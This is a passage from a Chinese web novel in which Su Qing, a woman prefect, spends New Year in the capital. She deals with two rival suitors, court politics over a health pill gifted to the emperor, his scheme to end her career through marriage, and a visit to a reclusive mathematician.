所以赶在年关,他肯定要来走动走动的。 “梁公公让你明日上午去找他,应该会有新的消息。” 宫宴结束,就能知道皇上的态度。 得了这个消息,苏清微微点头,亲自送齐公公出门。 回到席面上,只觉得气氛极为沉闷。 花景明跟顾从斯两个并不说话。 剩下的祁安平,惠容一直在看他们,似乎同样奇怪。 “怎么了?”苏清忍不住问道。 都是自己人,她肯定要直接问的啊。 谁料两人同时看她,再看她面前两杯蜜水。 “吃饭吧。” “喝水吗。” 前一句是顾从斯说的。 后一句是花景明讲的。 苏清直接把蜜水全都推开:“我要等着吃烤羊腿。” 她特意为年夜饭买的! 谁要吃饭跟喝水啊! 这句话说完,祁安平跟惠容都松口气。 尤其是后者,他早就成亲有孩子,哪能不知道刚才发生什么。 也就祁安平不知怎么了,等顾花二人去看烤羊腿,赶紧凑过来道:“大人,他们两个同时给你倒了杯水,一言不发。” “这就算了,最近这段时间,他们颇有些针锋相对。” “您快劝劝吧,四月份就要会试,不能带着心结考试吧。” 苏清也是这么觉得的,她道:“我是最想让你们都考上进士的。” 那样她在朝中的人脉就更多。 很多事,便会简单起来。 进门的顾从斯跟花景明都听到这话。 顾从斯先一步道:“我会的。” 不止是进士。 花景明落后一步,却自信笑笑。 他能带来的,除了进士,还有花家在广乐府的地位。 相比起来,还是他更有用。 不过面对顾从斯,他到底心虚,不好直接说出来。 顾从斯又道:“今日看到叶山鸣家伙计在附近,他送信来了?” 苏清想到叶山鸣之前的话,在这个前未婚夫面前提,多少有些不好,只含糊道:“过年嘛。” 其实心里没写什么。 主要把宝物的事情讲了,总共三十一箱东西,已经全部卖完。 后续还有五百两银子送到南江县祝县令手中。 最后就是,依旧邀请苏清做叶家少奶奶。 花景明则知道,这是故意说给他听的。 叶山鸣他见过,也知道近些年叶家生意做得极大。 南江县药材买卖他有参与,广乐府一带粮食买卖,甚至做了海运。 商铺能开到京城。 不少人都说,以叶山鸣的本事,富可敌国是迟早的事。 顾从斯提这个,就是告诉他,钱这种东西,别人不缺。 想用钱让苏清有所倾向,她会有更好的选择。 说白了,要学问跟前程,自己比你好。 要财力金银,叶山鸣比你强。 上不上,下不下。 不要想了。 苏清已经吃上肉了,只当没看到两人的眼神。 好友之间吵起来,总要有个原因吧? 那,问谁? 苏清心中警铃大作。 最好谁也不问,反正直觉是这样的。 年夜饭吃到最后,苏清还是喝了杯酒。 永晟五年的最后一日。 吃一杯酒也没什么。 苏清举起酒杯,对手下等人道:“辛苦大家跟着我东奔西走,今日这一杯,敬大家。” 跟着苏清的武捕头等人有些傻眼。 要知道苏知府在那么多同僚宴会上没吃过酒,此刻却敬他们,这种感觉实在无以言说。 “敬知府。” “敬苏大人!” “要不是您,我们广乐府哪有那么好的日子,为了家人,我们也愿意出来的。” “对啊,我女儿也当书吏了,都是因为您开的头啊。” 众人越说越热闹,吃下永晟五年最后一杯酒。 顾从斯花景明等人陪同。 果然,她这酒量还是很差的。 等苏清回到主院,头已经有些晕,嘴里也有些干。 因是过年,早已让院里婢女回家团聚,桌子上应该只有冷茶。 但刚摸到茶壶,滚烫的触感让她瞬间清醒。 “很敏锐。” 晏铮州声音传来,他手里还拿了些茶叶,示意自己是否可以泡茶。 苏清瞬间松口气,指了指凳子,自己则坐在床边等他泡茶。 等茶水喝到嘴里,才发现是茉莉蜜水,甜滋滋的。 晏铮州说起正事。 “今年宫宴,皇上对沈知府表示不满。” 大概觉得沈知府立场转变,是有私心,故而不满。 更认为她不该如此拉拢其他臣子。 苏清吃完茶,并未丧气,而是道:“太后如何看。” 晏铮州眼中闪过欣赏:“母后她不仅赞同祝芳洁做女官,也赞同沈知府所在的山阳府开女子童试。” “更赞同舅舅老家同样开设女子童试。” 晏铮州的舅舅,太后的娘家人。 看来她家也有会读书的女子了。 苏清笑了:“结果呢,谁赢了。” “不好说。” “准备好养生药丸,皇上会再招你进宫。” 晏铮州尽量说的公事公办,并起身准备立刻就走。 苏清却开口了:“听说你出生的时候,差点害了太后跟皇上。” “有这回事吗?” 明明苏清什么也没做,晏铮州却停住脚步,回头看她。 屋内只有一盏烛火,看得两人眼睛明亮,都想从对方眼中看出什么。 晏铮州嗯了声。 “为什么?”苏清追问。 晏铮州不太想回答,苏清道:“明日我去见梁公公,他肯定也知道。” 听到这,晏铮州只好坐下,缓缓说出。 从别人口中得知,不如他来讲。 其实没什么特殊的。 太后当年是宠妃,还有十岁的大皇子傍身。 再怀晏铮州的时候,被一年轻貌美妃子趁虚而入。 那美貌妃子在这期间怀了孩子。 孩子相貌好,又聪明。 会说话后,更是讨人欢心。 太后跟皇上备受冷落。 不少人都说太子位置要旁落。 两个年纪相差不大的孩子一起长大。 年轻妃子的孩子,更受宠爱 当时的皇上最不喜欢的,就是晏铮州,说他小小年纪便一幅冷脸。 连带着太后跟如今的皇上也不喜欢。 甚至因此,推迟了大皇子听政的时间。 作为本朝皇子,十五岁就该听政。 一直拖延到十八,先皇才点头让大皇子上朝。 “你那时候,不过五岁,八岁?” “就背这么大的锅?!” 这么小的年纪,真的背不起这么大的锅啊! 因为怀小儿子,被年轻貌美妃子分宠,还能怪到晏铮州头上。 但当年晏铮州不过五岁。 先皇就说,因为你,所以不让你十五岁的哥哥听政? 还拿这个理由用了整整三年? 难道不是狗皇帝恋权,不相信宠妃跟大皇子吗?! 这个原因,闭着眼都能猜出来吧。 苏清根本不敢想,当时的晏铮州到底什么感觉。 出生起就不被待见。 一直到什么时候? 晏铮州没有回答苏清的问题,只道:“皇上登基后,情况就好些了。” 皇上二十九登基。 就是从还没出生,一直到十九岁。 全都处于这个状态? 他今年不过二十三。 苏清忍不住站到晏铮州面前,居高临下看着他。 还有些醉的苏清,眼睛全是不敢置信,也没有平时的笑意。 “都这样了,你还要帮他们?” 晏铮州不知道该怎么说。 小时候,他确实认为是自己的错。 读书后这个想法慢慢消散,他其实没错的,一直都没有。 但他确实见过大哥跟母妃受过的苦。 似乎因他的出生,宠妃的位置,太子的位置,全都没了。 父皇指桑骂槐,忌惮一个过于聪明还想掌权的宠妃。 可两人不能直接吵起来,便以他为由头。 更不好骂事事周到的大皇子,也以他为借口。 只是真正的责罚,也确实落在他们头上。 幽禁,降位分,当面斥责,罚皇子跪太庙。 有些是责罚,有些是当面羞辱。 还有越来越多的宠妃出现,后宫前朝都是修罗场。 两人眼底的恨越来越多。 既是对父皇,也是对他。 对他时,心里清楚这是迁怒,故而收敛一些,把原本的斥责变为冷漠以待。 似乎已经算对得起晏铮州了。 苏清听着,无奈摇头:“有人说过,爱的对立面不是恨,是漠然。” 这才是对晏铮州伤害最大的。 如果她过这样的日子。 她被姥姥,被梅娘这般对待。 她一定会疯的。 自己小时候确实没有爸妈。 可姥姥全心全意对她,一切都为她着想,爱她护着她,也骂她不知道危险。 梅娘也是,梅娘有时候不懂她,却依旧护着自己。 当年她多满意顾从斯这个未来女婿,甚至是她夫君也满意的人选。 但意识到顾家爹娘的态度,她便要退婚。 为了这些爱,这些保护。 不管发生什么,她都要做姥姥那样坚持信念的人。 她都要保护这个世界的梅娘。 她要尽自己最大努力。 苏清手指有些凉意,碰到晏铮州的脸颊:“那不是爱,也不是你应该保护的。” “你应该保护跟随的,是我这样的人。” 苏清冰凉的手指,从他的衣领直接往下,触摸到滚烫的肌肤。 晏铮州下意识阻拦,苏清却推开他的手,碰到晏铮州肩膀背上,胸膛上的伤疤。 “你早就还清了。” “这些还不够吗。” 第65章 雪夜。 晏铮州走的时候,连脚印都没留下。 天知道他怎么回的王府。 苏清这边倒头就睡。 “我也不是心疼你。” “只是觉得,你该不该还的,都还完了。” 晏铮州久久未睡,看着窗外大雪,眼神沉静。 永晟六年,正月初一。 苏清一觉醒来神清气爽。 她是个不认床,在哪都能睡得安心。 而且昨晚摸了某人胸肌,睡眠质量更好了啊。 不愧是练武的人,手感就是好。 苏清洗漱过后,带着武捕头去梁公公家中拜访,吩咐手下道:“今日也清闲,只留值守的,其他人可以去街上逛逛,听说京城的初一很热闹。” 至于她,老老实实去梁公公家里打听消息。 即使已经从晏铮州那得知了,还要是要去一趟。 跟苏清那边门庭冷落不同,赶在大年初一来梁公公外宅拜见的人,多得挤不进门。 梁公公在皇上还未登基时,就在身边伺候。 之后虽不在京城,却立了军功,而且还抓住其他公公把柄,自己重回皇上左右。 就连昨日宫宴,他都伴在左右。 苏清远远看了一眼,正在想如何进门,就有躲在角落的小太监低声唤她:“苏大人?从这里走。” 小太监带着她走了另一处院子,并道:“这也是梁公公的宅子,从这里可以走到主宅。” 到了地方,武捕头给了小太监一封红包,对方才眉开眼笑离开。 听说苏清来了,梁公公连忙把眼下客人打发走,只等着她来。 见到苏清,梁公公笑:“那个宅子如何?看起来没甚特殊,却是别有洞天吧,可惜还差些花木。” 买宅子的钱,就是用苏清送他的宝物的变卖所得。 苏清夸了几句,又送上两瓶药丸:“益气养神的。” 要说别的,梁公公决意不收的,还要给苏清送些礼物。 但益气养神的药丸,他则立刻接下。 “给老大人吃的那种?”梁公公连忙问。 苏清点头:“正是。” 那老大人,就是跟苏清一起汇报工作的某地知州。 他本就年纪大,头发花白,因来京述职,长途奔波,路上还生了病。 来汇报工作的时候,也是一脸病容。 更因他后面就是广乐府的政绩,显得他更是脸色苍白。 出门的时候,甚至要人扶着走。 苏清虽然没有扶着他,却帮他搭了脉,随后给了他一瓶益气养神的药丸。 让他每日三粒,身体好些了就不用吃了。 “好了之后,便随身携带,若有头晕目眩症状,取一粒压在舌头下面。” 因在宫门处赠药,来往不少官吏侍卫看在眼中。 最让大家吃惊的是。 老大人先吃一粒,几乎有立竿见影的效果。 整个人面色好多了。 倘若那不是皇宫门口,这些人不是朝廷官员,真以为是在玩什么江湖把戏啊。 过了没多久,老大人竟然出门活动,说自己身体好多了,可以出来应酬。 当然了,还是不能太过劳累,不能饮酒过度等等。 其中变化,让人啧啧称奇。 而人到了一定年纪。 自然而然倾向养生。 官职越高,想要长寿长生的想法便更浓烈。 三位内阁大臣,六部尚书。 乃至皇上太后。 哪个没有这般想法。 苏清那药丸,着实有些厉害。 这也是昨晚晏铮州提到药丸的原因,皇上大概率会很感兴趣。 不过苏清这两瓶药丸,是早就准备好的,只看外面盒子,就知是专门定制。 不管晏铮州提不提醒,她都会送的。 但不是直接送给皇上,而是给梁公公。 果然,梁公公惊喜万分。 通过他这边,送到皇上手中,其实是两份人情。 只送药,皇上会觉得理所应当。 通过梁公公送,则会帮忙在帮忙多说些话。 但苏清此刻开口,知道:“广乐府也没什么能拿得出手的,这药丸想着分给梁公公跟齐公公,用来保养身子。” 梁公公颇有些不舍,但还是道:“这么好的东西,我们这些人怎么能享用。” “说来也巧,昨晚宫宴上,皇上还提了这事。” “你也别送给我了,直接送给皇上吧。” 话是这么说,梁公公手却未松开。 苏清笑:“都拿来了,要不请梁公公帮忙送上去。” 对方等的就是这句话:“好好好,苏知府,我就知道你聪明。” 几句话,双方关系又拉进了。 因梁公公这客多,苏清跟武捕头并未多停留。 苏清看了梁公公的外宅,还有他说缺少花木的别院。 当初从叛军那缴获三十六箱东西,连带给皇上跟梁公公的,共计五箱。 刚开始后续会高兴,但时间一长,钱花完了,肯定惦记另外的物件。 所以自她腊月二十二进京,除了齐内官来找过她之外。 梁公公一直不冷不热。 方才提到别院缺花木,大概率也是索贿。 但她哪有银子给别人啊。 广乐府哪里不用钱? 现在的革新院吃钱跟流水一般。 甚至这些药丸价值也不菲。 用了上好的冰片,川芎等物制成。 放到现代,都是救命的好药。 还是她姥姥教她做的。 如今是要益气养神丸。 放到现代,则有个大名鼎鼎的名字,速效救心丸。 川芎活血止痛,冰片醒脑开窍。 两者并用,就能增加冠动脉供血,缓解胸闷等症状。 当然了,跟后世那种绝密药方不同。 苏清手中的,更像是简配版。 即便如此,给老人家用,还是问题不大的。 苏清回了住处,让武捕头也跟大儿子团聚,出去逛逛。 她一个人在院子里写回帖,再收拾收拾东西,专门去刑部牢房一趟。 田大人田献,还在牢房当中。 在皇上下令之前,刑部的人虽不会有私刑,但大过年的,还是要去看看。 刚采买好酒菜,就看到顾从斯走过来。 顾从斯暂辞了翰林院的职位,穿着举人澜衫,气质愈发清冷,唯有看到苏清时,眼中多了暖色。 知道苏清是去看田大人,他接过东西,肯定要同去的。 一路无话。 到了刑部大牢,靠着苏清身份契凭,两人得以进入。 田献看起来精神尚好,反而比之前胖了些。 似乎是武勇王爷的死,让他精神恢复了。 看到苏清跟顾从斯两人,他还很高兴,笑道:“就是不知道,我还有没有机会参加你们俩婚礼。” 经历了那么多事。 田献似乎不大知道,这个周围人都知晓的秘密? 苏清有心想说肯定看不到的。 但这会讲,好像有点不对劲? 田献又道:“不管参不参加,我都不在乎了。” 这是他真正的想法:“反正能杀了仇人,给家人报仇,我很是高兴。” 死也好,生也罢。 无所谓! 能给家人报仇,他心满意足。 苏清却道:“我会尽力救你的。” 苏清说的话,一直言而有信。 不仅田献知道他会尽力,连正好过来的连飞扬也信。 苏清这才知道,原来连飞扬在刑部任职,怪不得上次他还给自己使眼色。 不过这次,他却看了看顾从斯,虽未说话,但眼神写满了:“这就是你未婚夫?这不小白脸吗。你竟然喜欢这种类型?!” 顾从斯现在极为警觉,看到连飞扬的眼神,就知道他什么意思:“还请让让。” 苏清无奈,主动开口:“之前宴会上听人聊起,你爹娘正帮你说亲,可惜不能参加了。” 连飞扬今年二十五,放在京城属于大龄青年。 不过他是去打仗了,大家都能理解,如今在刑部,也有些职位。 他祖父又掌管京郊十万城防军,故而很受欢迎。 当时连飞扬回京时,两人话都说开,他也逐渐放下想法,这会也大大咧咧道:“对啊,总要娶媳妇儿吧,不过最近家里人太多,我还是出来躲躲清静。” 听到这,顾从斯才没有那么多敌意。 可在连飞扬提起花景明时,让他脸色更难看。 原来在他不知道的时候,花景明甚至跟苏清其他朋友关系都不错。 连飞扬最后道:“正好这几日可以聚一聚,你应该没什么邀贴吧?” 肯定没有啊。 在皇上没有表态前,在京城的官员们,默契避开她。 毕竟她要做的事情太大了。 女子当县令,女子童试,像是要改变什么。 还有武勇王爷的死悬在头上。 但事情真的很大吧? 在苏清看来,“说服”其中一两个人,这些事就不成问题。 这些人越忌惮皇上的表态,就说明关键点,只在皇帝身上。 对苏清而言,反而是好事。 定好时间,苏清出了刑部大牢,只觉得顾从斯眼神太奇怪。 “怎么了?你最近一直怪怪的。”苏清还是没忍不住,直接问出来,并道,“我们虽然没了婚约,但应当也算朋友吧?” 顾从斯只道:“只是觉得,你交际广泛。” “你跟花景明如何熟悉的。” 说起这个。 苏清难免有些尴尬。 刚开始,她跟花景明只是信件往来。 真正见面,是因为当时的吏司主事于大人派了家仆去顾家,要跟苏清退婚。 那件事的结果大家也都知道。 他们确实退婚了。 花景明那会奔波至南江县,便是为了挽回好友的婚约。 “竟是这样认识的。”顾从斯笑容带了丝一闪而过的苦涩,随即道,“你觉得他如何?” 如何? 是个热心的好人。 苏清随即答道,想了想又说:“学问也不错。” 顾从斯脚步顿住,不过反而笑了:“你故意的。” 确实是故意的。 快到住处时,顾从斯忽然道:“你什么时候发现的?” 发现什么? 发现花景明不止把她当朋友吗。 在南江县时,梅娘就提过,她没当真。 之后虽有疑惑,却未多想。 可昨日年夜饭,加上顾从斯突然发问。 她要是再察觉不到,那就是真的装傻了。 最近这段时间,顾花两人十分尴尬,方才见了连飞扬,顾从斯又提起花景明。 再傻的人,都能察觉不对劲吧。 苏清不想跟前未婚夫解释这种问题,只道:“反正我跟他没可能,你不要多想。” “当然跟你也不可能,你也别多想。” “过去的事,就让它过去吧。” 这是苏清心中的实话。 她甚至不意外,花景明就在自己背后。 一扭头就看到他呆滞的身影。 苏清说不出都是好朋友这种话,但她明确知道。 不管是谁,都跟她关系不大。 悬在头上的差事她还未完成,没工夫纠结这些。 苏清从两人身边走过,只道:“马上就是会试,希望你们都能考出好成绩。” 苏清回了院子,吩咐道:“除了公事,其他一概不用理。” 门口差役婢女等人应下。 苏清这才躺回软塌。 疯了吧。 花景明怎么想的。 怪不得最近那么尴尬。 为什么啊?! 希望今日过后,此事就能了结。 都学学连飞扬不好吗? 最重要的,不要影响考试啊。 不然她心里肯定有愧。 门外的顾从斯跟花景明两人对上视线。 他们都知道,顾从斯故意让他听到苏清亲口拒绝。 这让花景明的计划全然落空。 在他的想法里,等自己考上进士,才有资格同苏清说未来。 就算自己没考上,回到广乐府后,也能请父亲上门说亲。 但是被提前点破,是花景明没想到的。 “以前的顾从斯不会这样做。”花景明忍不住道,“你变了太多。” 顾从斯不解释,只道:“收了你那点心思吧,喜欢她的人太多。” 谁料花景明直接开口:“是啊,多数人的爹娘也是同意的。” “比如我爹。” 此话直中顾从斯软肋。 昔日好友,是最知道如何重伤对方的。 顾从斯反而笑:“可你爹是豪绅,是地方财主。你跟苏清可不是一路人。” 现在也就是没机会。 若有机会,她第一个收拾的就是花家。 甚至花家花老爷也意识到这件事。 故而十分赞同把苏清娶回家。 只要娶回家了,花家不仅能度过危机,甚至能有更好的发展。 “抱着这样的想法,她会搭理?” “别把其他人当蠢货。” 花景明眼神逐渐变冷。 京城其他地方,则一片欣喜。 梁公公拿着两瓶益气养神的药丸,恭恭敬敬进皇上寝宫。 皇上听说老梁来了,还道:“朕不是准他休息吗,怎么又来了。” “大年初一,奴婢定要同皇上贺喜的。”梁公公连忙道,“虽说皇上恩准,但我们这些人最挂念的还是皇上您。” 皇上笑,他确实爱听这样的话。 等梁公公再说吉祥话,他也静静听着,直到提了益气养神丸。 昨日宫宴上,他刚提了一嘴。 梁公公竟然给他弄来了,还不用去找苏清,简直让他更加高兴。 若召苏清过来,必然要允些什么。 手底下人帮忙要来,却是绕开她了,很不错。 梁公公道:“苏清说这是她家的秘方,不过做出来药丸不多,今年仅剩这两瓶,说让奴婢献给皇上。” 皇上更高兴了。 看来苏清并不知他早就想要益气养神丸,否则以女子的小性,肯定会要挟他。 但话又说回来:“普天之下莫非王土,哪有谁家的秘方。” 梁公公感激接话:“没错,四方万物都该是皇上的,这苏清也太不知趣,之前的药方都是直接拿出来的,这次却不给了。” 皇上虽未说话,却也是这个意思,又找来御医检查药丸。 确定无误后,皇上将药丸压在舌头底下,苦涩之味逐渐融化。 等味尽了,这粒药丸吃了,果然神清气爽,胸口一点也不闷。 “好药,着实是好药。”皇上夸道,又看了看御医。 御医有些尴尬,他方才也吃了一粒,却未尝出配方。 皇上挥挥手让他下去,看着两瓶丹药,开口道:“总有吃尽的一日。” 还是要问苏清再拿。 “听说苏清曾写了守令爱民四个字,可是真的?” 梁公公连忙答:“是,她最信奉这四个字,端的是忠心耿耿。” 见皇上没有再说其他,梁公公继续道:“她这人好猜,人聪明,有些一根筋。” “只要为百姓好,为国家好的,她都会做。要论私心,很少有人能说个一二。” “一定要说,那就是官瘾有点大,好好一个女子,不想着相夫教子,就想着做官。” 说到相夫教子,皇上终于开口:“她不是顾举人的未婚妻吗,等会试结束,两人好事将近了吧。” “等成了亲,就该相夫教子了。” “如此看,祝芳洁做县令,南江县女子童试,并不是多大的问题。” 皇上慢悠悠道,却让梁公公激出一身冷汗。 皇上的意思是。 等苏清成亲,就是她官职断送的那日? 这么说,好像也没问题。 如今未出嫁,还能说子承父业。 等出嫁从夫,就该帮她夫君料理后宅。 梁公公虽觉得苏清把持三十多箱财宝,还不肯多分他点,心里不痛快。 但好歹一起抗击叛军,又深知她的为人,她的能力。 颇有些痛心。 要是让苏清知道,她一定有多难过。 皇上打的是一石三鸟的主意。 既能解决了苏清这个麻烦,还不用管女官兴起,更能得到益气养神丸的秘方。 皇上还自顾自说着,直接允准苏清的请求。 并饶过武勇王爷之死。 甚至要轻放了那个叫田献的凶手。 大年初一,宫里就传出这样的消息。 “听说了吗,皇上松口,同意祝芳洁当县令了,南江县女子童试的事,也不准备阻拦。” “对了,就连那个田献,可能只判流放。” “这是新年里,大赦天下?皇上心情为何如此好?” “不知道啊,反正宫里这么说的。” 众人只讲喜事。 却对皇上要促进苏清顾从斯婚事一概不知。 若知道了。 必然知晓皇上打的什么算盘。 祝芳洁也好,那女子童试也好。 没了苏清庇护,什么也不是。 只要她不在高位,不用几年时间,该回家的回家,该是原样的还是原样。 就像当年叶山鸣说的。 江南一带是有不少女掌柜,但嫁人之后,要么回家,要么被家事所累。 他请苏清做掌柜,其中一条,就是让她跟顾从斯退婚。 否则两人成亲后,苏清必然拘于内宅。 所以皇上不用争,只要等到顾从斯会试结束,给两人本就有的婚约,直接赐婚即可。 这样想着,皇上立即下令,甚至连带赦免不少人。 很多人都说,皇上因新春开怀,心情极佳。 京城官员百姓对此事多有讨论。 太后也很满意这个决定,还跟皇上母慈子孝。 消息到苏清这,反而有些疑惑。 此事的紧张。 是否太过顺利? 顺利到有些不正常? 等她再去找梁公公。 可梁公公被皇上再三警告,不能说出他的打算。 倘若事情在会试之前泄露。 别说如今的圣宠了,就连命也要丢掉。 所以他笑容满面:“皇上赞您守令爱民之心,故而做此决定。” 说着,还低声道:“也是您的益气养神丸效果极佳,皇上高兴,只要皇上更高兴,什么事不能成呢。” 毕竟这天底下。 最重要的,就是皇帝。 皇帝高兴,一切都好。 苏清将信将疑,又去找了齐内官。 可齐内官不如梁公公受宠。 梁公公献药的时候,殿内也无旁人。 当时发生什么,只有他们两人知道了。 回到住处。 顾从斯花景明等人都在安慰:“或许是好事。” 祁安平跟惠容也百思不得其解的。 但现在看起来,确实是好事。 正想着,门外传来通报,说沈知府来了! 沈知府能不来吗? 他是真没想到,苏清办什么事,什么事就能成啊! 祝芳洁。 一个抗婚的女人,都当县令了。 还在她的主持下开女子童试。 有了这个先例。 他冰雪聪明的女儿,就有机会参加童试! 山阳府今年不开女子童试,明年也会开的,明年不成,或许还有后年。 只要有了这个开始,再有苏清跟他这样的官员。 他女儿未必不是女状元! 众人心中最后一丝疑虑,也被沈知府的兴奋打散。 苏清听他念叨女儿有多聪明,以及女儿的才华,甚至还有女儿的怀才不遇。 苏清听的都累了,对方还在讲。 岂料沈知府还不是最夸张的。 一个苏清并不认识的女子,跑来要见苏大人。 她自称是兵部右侍郎冯大人的女儿。 就是当年,跟顾从斯一起去广乐府考察那位。 她想求见苏大人,因为她太佩服了! 苏清自然记得冯大人,还记得他吐槽过。 说女儿跟她差不多的年纪,整天踢蹴鞠,还要说当女将军。 没想到冯大人的女儿主动找来? 顾从斯道:“冯大人女儿似乎一直想让自己的蹴鞠队,参加蹴鞠比赛。” 要说女子踢蹴鞠,顺昌国还是有的。 但多为自娱自乐,真正打比赛却很少。 果然,冯小姐一身利落打扮,上来就是:“今年我的蹴鞠队可以参加京城蹴鞠比赛了!” 冯小姐是个小话痨,不用别人问,竹筒倒豆子一般,把该说的全都说了。 她喜欢蹴鞠,也喜欢练武。 这两个在古代并不分家,蹴鞠是军中常用的练军方法。 但在她家,当女将军是不成了,就整日踢球。 先是办了自己的蹴鞠队,里面有男有女,实力不俗。 可京城不管哪个蹴鞠比赛,都不让他们参加,这让不少男队友直接离队,去了其他队伍踢球,把她气的要命。 现在好了,陛下都允许祝芳洁做县令,还允许女子童试。 她的球队参加比赛,根本没人敢拦。 今日正月初五,她就把能报的比赛全都报了一遍! 这一年她都有比赛踢了! “以后看谁敢拦!”冯小姐兴奋道,“苏大人,还真是要多谢您,否则今年我们又要自娱自乐了。” 他们队伍也不差的,怎么就不能打比赛啊! 苏清自然为他们高兴。 冯小姐甚至拉着苏清,想请她看看自己的蹴鞠队,还邀请她一起去玩。 “反正你们要等出正月才能会任地,就去玩玩吧,可惜现在天气不好,草还没长出来。要是能等到三四月份,正是踢球的好时候。” 三四月? 那肯定不行啊。 到时候她应该在广乐府。 苏清看着沈知府跟冯小姐,心道,不管那边打的什么主意,反正祝芳洁的官职确定,女子童试也算过了名路。 至少她的目的已然达到,那就是好事。 而因这件事上来的官员,必然对她死心塌地。 苏清笑着恭喜几位。 京城集市店铺里,却悄然出现一股风潮。 大过年的,各家书铺书籍纸张卖的飞快。 本就因会试在即,纸张极为紧俏。 现在更是夸张,稍微好点的纸张皆被买完了。 说是京城里面大小人家,但凡女儿聪明伶俐些的,不仅要送去读书,还要按照男儿的标准。 家里男子不成器,出个女官员也是好的。 这番风潮,正随着京城传到各地。 虽不知结果如何,但这个开始,就足以让人高兴。 不用多说,所有因此受益的人,最先感谢的,不是皇帝,而是苏清。 当然了,面上也要感谢感谢皇上。 于是京城当中,颂圣之声不绝于耳。 这些话传到皇上耳朵里,自然只有高兴的份。 即使知道,他们同样感激苏清,皇上也不大在意。 因为在他眼中,今年会试结束,苏清的官就做到头了。 故而如今的京城,变得十分和谐。 甚至太后那边,都以为儿子更听她的话了,母子关系得到极大缓解。 唯一不满的,大概是皇家子弟,他们认为杀害武勇王爷的凶手田献,处罚过轻。 即使武勇王爷有罪,那也是皇亲国戚,凭什么死在一个小吏之手,还死的那样惨,这让他们不能接受。 皇上对此反应极为冷淡。 在他眼中,能让武勇王爷下葬,已经是他的恩典。 可别忘了,因为他的叛乱,自己吃了多少苦。 甚至直接去了金陵。 还有很多叛军,在各个边境地方闹事。 偏偏朝中没有可用文臣武将。 让他弟弟去,这肯定也是不行的。 他的弟弟,战功卓绝,若再让他立些战功,自己这个位置,是真的不稳了。 即使他知道铮王爷无心争权,也绝对不给一丝机会。 只有坐到这个位置上,才知道为什么那么多人宁愿去死,也要抢夺皇位。 边关乱着,那就让它乱吧。 给他时间他会慢慢平定的。 不过现在,还是让他听听京城百姓如何夸他,看看前来述职的二百多地方官员。 这些是官员们? 不。 这分明是他的江山。 永晟五年正月,半个月里都是热热闹闹。 叶山鸣甚至又送来灯笼,直接送到京城了。 听说他的买卖越做越大。 手底下买了几艘大船,专做海上交易,这次回来,应该能运回不少香料木材。 顾从斯没多讲,花景明倒是多问几句。 其他时间,要么去看冯小姐他们踢蹴鞠,要么打点刑部上下,给田献准备流放用的物件。 再有广乐府也来信。 尤其是武器作坊那边,弓夫子问她,有没有找到那个数学大佬。 提到这件事,苏清也是有话要说的。 从到京城起,她就在打听数学大佬的情况。 顾从斯也帮她找了,武捕头也几次上门,都说甄举人不在家。 说去老家过年,年后再回来。 苏清想留封书信,也被甄家婉拒。 说没经举人老爷同意,他们不好收信。 行吧,数学大佬有点怪癖,是很正常的事情吧? 现在过了正月十五,苏清准备再次登门。 主要晏铮州私底下给她递了消息。 甄举人今日到家,如果上午过去,他家应该刚刚安置好。 虽然有些冒昧,但再趁机捉个正着,以后更难见面。 晏铮州道:“他不喜女子识字,妻子小妾一律以不识字为荣。” 这种人,就更不喜欢苏清这种当官的女子了。 但这个怪癖只有少数人知道。 否则弓夫子不会让苏清自找麻烦。 晏铮州却知道,这对苏清来说,不过是小问题。 确实,明知道会被婉拒门外,苏清还是带着武捕头,提着礼物前去甄家。 至于顾从斯等人,苏清一律让他们在家备考。 四月就要考试了,不要外面乱晃了啊。 外地很多考生陆陆续续进京,你们难道不趁着这会抱抱佛脚? 顾从斯祁安平不说话,作为年纪轻轻就中举的人,其实觉得复不复习都还好。 花景明纯粹想跟苏清多相处。 只有惠容一个劲点头。 赶紧读书吧,在京城花销太贵了,他想赶紧考完,赶紧回家。 不容他们分辨,苏清直接出门。 苏清带的礼物,既有文房四宝,也有数学问题。 她特意把弓夫子要解答的问题抄录下来,作为礼物送过去! 武捕头有些无奈。 谁家愿意收到这种礼物啊,根本看不懂。 苏清心道,我也有点看不懂,甚至抄录的时候,还仔仔细细对了好多遍。 一行人到了京郊甄家,只见门口停着两辆租来的马车。 看样子主人已经进门,还在搬行李。 不错,抓个正着。 苏清等人前去叩门,武捕头上前道:“广乐府苏知府在此,想见见的甄举人,这是我们大人的名帖。” 武捕头又送了礼物:“还请通融则个。” 门房苦笑。 他们家都拒绝那么多次了,怎么还不会放弃啊。 谁都能猜到,甄举人早就知道苏知府求见的消息,可一直没有回音,就是不见的意思啊。 还有那文房四宝也太普通了。 谁家送礼送这个。 不过那本册子是什么? 武捕头翻开册子:“正是一些难解的题目,想请举人看看。” 别的就算了。 难解的题目? 在门内听情况的甄举人把门推开:“什么题目。” 苏清让武捕头递过去。 甄举人虽然不服女子做官,但还是老老实实规规矩矩行礼。 这番动作让苏清稍稍挑眉,不用对方请,直接走进房门。 果然,那甄举人也不敢拦她,一口一个苏大人:“还请苏大人上座。” 好吧,苏清终于知道甄举人为何避而不见。 不仅不喜女子读书,更不喜对女子行礼。 所以一直躲着。 毕竟他只是举人,虽有官身却无官职,见苏清必须客气见礼。 苏清见他想看册子里的题目,却一直不说,只慢悠悠吃茶,又说些家常闲话。 你们什么时候回老家的? 老家冷不冷,情况如何。 家里的灯会可热闹? 眼看对方耐心即将耗尽,苏清才让他看看题目,只道:“是几个难题,不止甄举人是否能解开。” 甄举人既不耐烦苏清,也对题目心痒,立刻翻册子。 “这有什么难的。”甄举人下意识道,又赶紧抬头,不敢真正冒犯苏知府。 苏清只当没听到,甄举人胆子更大,当面开始计算。 不多时,十九个题目就做出十二个。 甄举人前前后后又看一边:“题目不难,但这些题目都有关联性,你们在造什么东西?” 苏清稍露惊喜,笑道:“这跟甄举人无关吧,本官来找你,就是请你帮忙做题的。” 这话毫不客气,甄举人也不恼,反而道:“如果前提的数字都算不出来,后面的更得不出结果。依我来看,只要有一个地方出错,你们建造的所有东西都会白费。” 苏清何尝不知,弓夫子他们也是知晓的。 否则武器作坊的开支为什么会那么大。 苏清看了看甄举人,只等他提出要求。 按照他的性格,如果不想管的话,完全可以不说的。 甄举人也不讲话。 苏知府有求于他,难道还要他先说? 他可以断言,除了他之外,没人能解出后面的答案。 十九个题目还剩七道,甄举人已然心算得出答案,却不打算说出,更不打算写出来。 苏清把茶碗放下,对武捕头道:“什么时辰了,记得差人去吏部,催催祝县令的文牒,赶紧寄回南江县,她代县令的代字,就可以去掉了,行事也方便些。” 武捕头答是,立刻让人去办。 